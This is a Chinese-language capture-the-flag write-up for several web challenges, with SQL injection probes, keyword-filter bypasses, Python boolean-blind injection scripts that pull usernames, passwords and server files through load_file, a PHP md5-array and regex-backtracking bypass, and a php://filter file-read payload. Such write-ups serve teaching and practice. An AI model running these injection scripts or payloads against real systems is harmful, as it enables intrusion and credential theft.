1z_Ssql(sql注入)

username=1' or 1=1#   //illegal words!
username=1'# //用户名或密码错误
username=-1' or 1 order by 3# //回显You are so smart! Let me give you a hint ↓ 5aSn5L2s77yM5L2g6L+Z5LmI6IGq5piO5bqU6K+l5LiN6ZyA6KaBaGludOWQpz8=,但是没用,说明等号被过滤了
username=-1' or 1 order by 4# //用户名或密码错误
username=-1' union select 1,2,3# //illegal words!
username=union //illegal words!,尝试后双写和大写都不能绕过
username=select //用户名或密码错误
尝试布尔盲注
username=0' or if(substr(database(),1,1)=c,true,false) //测出来=,like都被过滤了

这里没思路了,扫目录发现/robots.txt,访问可得/here_is_a_sercet.php,得到源码

<?php
highlight_file("here_is_a_sercet.php");

function waf($str){
$black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=";
if (preg_match($black_list,$str)){
die("<h4>illegal words!</h4>");
}
return $str;
}

?>

这里看wp才知道涉及到sm4加密

//sm4.js,扫目录中js可得到
const SM4 = require("gm-crypt").sm4;

var payload = "xxx";

let sm4Config = {
key: "B6*40.2_C9#e4$E3",
mode: "ecb",
cipherType: "base64"
};
let sm4 = new SM4(sm4Config);

var result = sm4.decrypt(payload);

console.log("瑙e瘑:" + result)

image-20250330192523550

源码即为

<?php
highlight_file("here_is_a_sercet.php");

function waf($str){
$black_list = "/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i";
if (preg_match($black_list,$str)){
die("<h4>illegal words!</h4>");
}
return $str;
}

?>

法一:布尔盲注

由于可知道用二分法查找来实现布尔盲注,利用成功查询的那个hint来实现盲注,注意,黑名单中有for,不能使用information_schema这个库

import requests

def force(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((database()),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,库名为"+find)
break

def force1(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((select group_concat(username) from bthcls.users),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text

if ('hint' in r):
left=mid+1
else:
right=mid
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break


if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)
force1(url)

这里看了wp,说的要利用题目给的附件来进行爆破,得到表名和列名,但是没附件,就只能直接盲注,更改最后查询语句中usernamepassword可得到密码

最后用adminwe1come7o1sctf成功登录就能回显flag

image-20250330202159431

法二:loadfileindex.php文件

首先先看下用户权限

import requests

def force(url):
find=''
for i in range(1,500):
found_char=False
left,right=32,127
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((select user()),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break

if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)

image-20250330202401130

是以root身份登录到mysql的,可以load_file读取任意本地文件

看启动文件start.sh,用loadfile读,注意这里要更改取值边界范围

import requests

def force(url):
find=''
for i in range(1,500):
found_char=False
left,right=0,128
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((load_file('/start.sh')),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break

if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)

image-20250330204135697

可以看到它把flag写入到了index.php,且泄露出了其绝对路径,直接load_file读

import requests

def force(url):
find=''
for i in range(1,500):
found_char=False
left,right=0,128
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((load_file('/var/www/localhost/htdocs/index.php')),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break

if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)

但是爆了半个小时没出来,理论成立

绕进你的心里(php特性)

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>

数组绕过MD5,intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。PCRE回溯次数限制绕过来绕过preg_match()函数的检测

preg_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。

hongmeng[]=1&shennong[]=2&zhurong[]=2023ISCTF
import requests

url = "http://gz.imxbt.cn:20524//?hongmeng[]=1&shennong[]=2&zhurong[]=a"

data = {
'pan_gu': 'aaaaaaaaaa' * 250000 + '2023ISCTF'
}
r = requests.post(url, data=data)
print(r.text)

easy_website(sql注入)

还是sql注入

username=1' or 1=1#   //根据报错发现空格,or被过滤
username=1'/**/||1# //登录成功
username=1'/**/order/**/by/**/4# //发现or被过滤
username=1'/**/oorrder/**/by/**/4# //错误列数
username=1'/**/oorrder/**/by/**/1# //用户名或密码错误
username=1'/**/union/**/select/**/database()# //union和select都被过滤
username=1'/**/uunionnion/**/sselectelect/**/1# //成功登录,1为回显位
username=1'/**/uunionnion/**/sselectelect/**/database()# //users
username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')# //users
username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')# //id,username,password,ip,time,user,password
username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(passwoorrd)/**/from/**/users)# //ISCTF{6da56c3d-73fe-43f4-bdda-832edc9d1736}

webinclude

扫目录发现备份文件/index.bak,获得源码如下

 function string_to_int_array(str){
const intArr = [];

for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);

const partA = Math.floor(charcode / 26);
const partB = charcode % 26;

intArr.push(partA);
intArr.push(partB);
}

return intArr;
}

function int_array_to_text(int_array){
let txt = '';

for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}

return txt;
}


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}

直接写个解码脚本,获得原始参数为mihoyo,直接伪协议读取就行

def int_array_to_text(int_array):
# 将整数数组转换为文本
return ''.join(chr(97 + i) for i in int_array)

def text_to_int_array(text):
# 将文本转换为整数数组
return [ord(c) - 97 for c in text]

def reverse_string_to_int_array(int_array):
result = []
# 每两个元素一组,还原原始的 ASCII 值
for i in range(0, len(int_array), 2):
partA = int_array[i]
partB = int_array[i + 1]
original_char_code = partA * 26 + partB
result.append(original_char_code)
return ''.join(chr(code) for code in result)

# 已知的 hash 值
hash_value = "dxdydxdudxdtdxeadxekdxea"

# 第一步:将 hash 转换为整数数组
int_array_from_hash = text_to_int_array(hash_value)

# 第二步:逆向解码整数数组,得到中间的字符串
intermediate_str = reverse_string_to_int_array(int_array_from_hash)

# 第三步:再次对中间字符串进行逆向解码
final_parameter = reverse_string_to_int_array(text_to_int_array(intermediate_str))

print("原始参数 (parameter):", final_parameter)
mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

$flag = “ISCTF{00b0c051-8782-48b7-9c65-fc8686418395}”;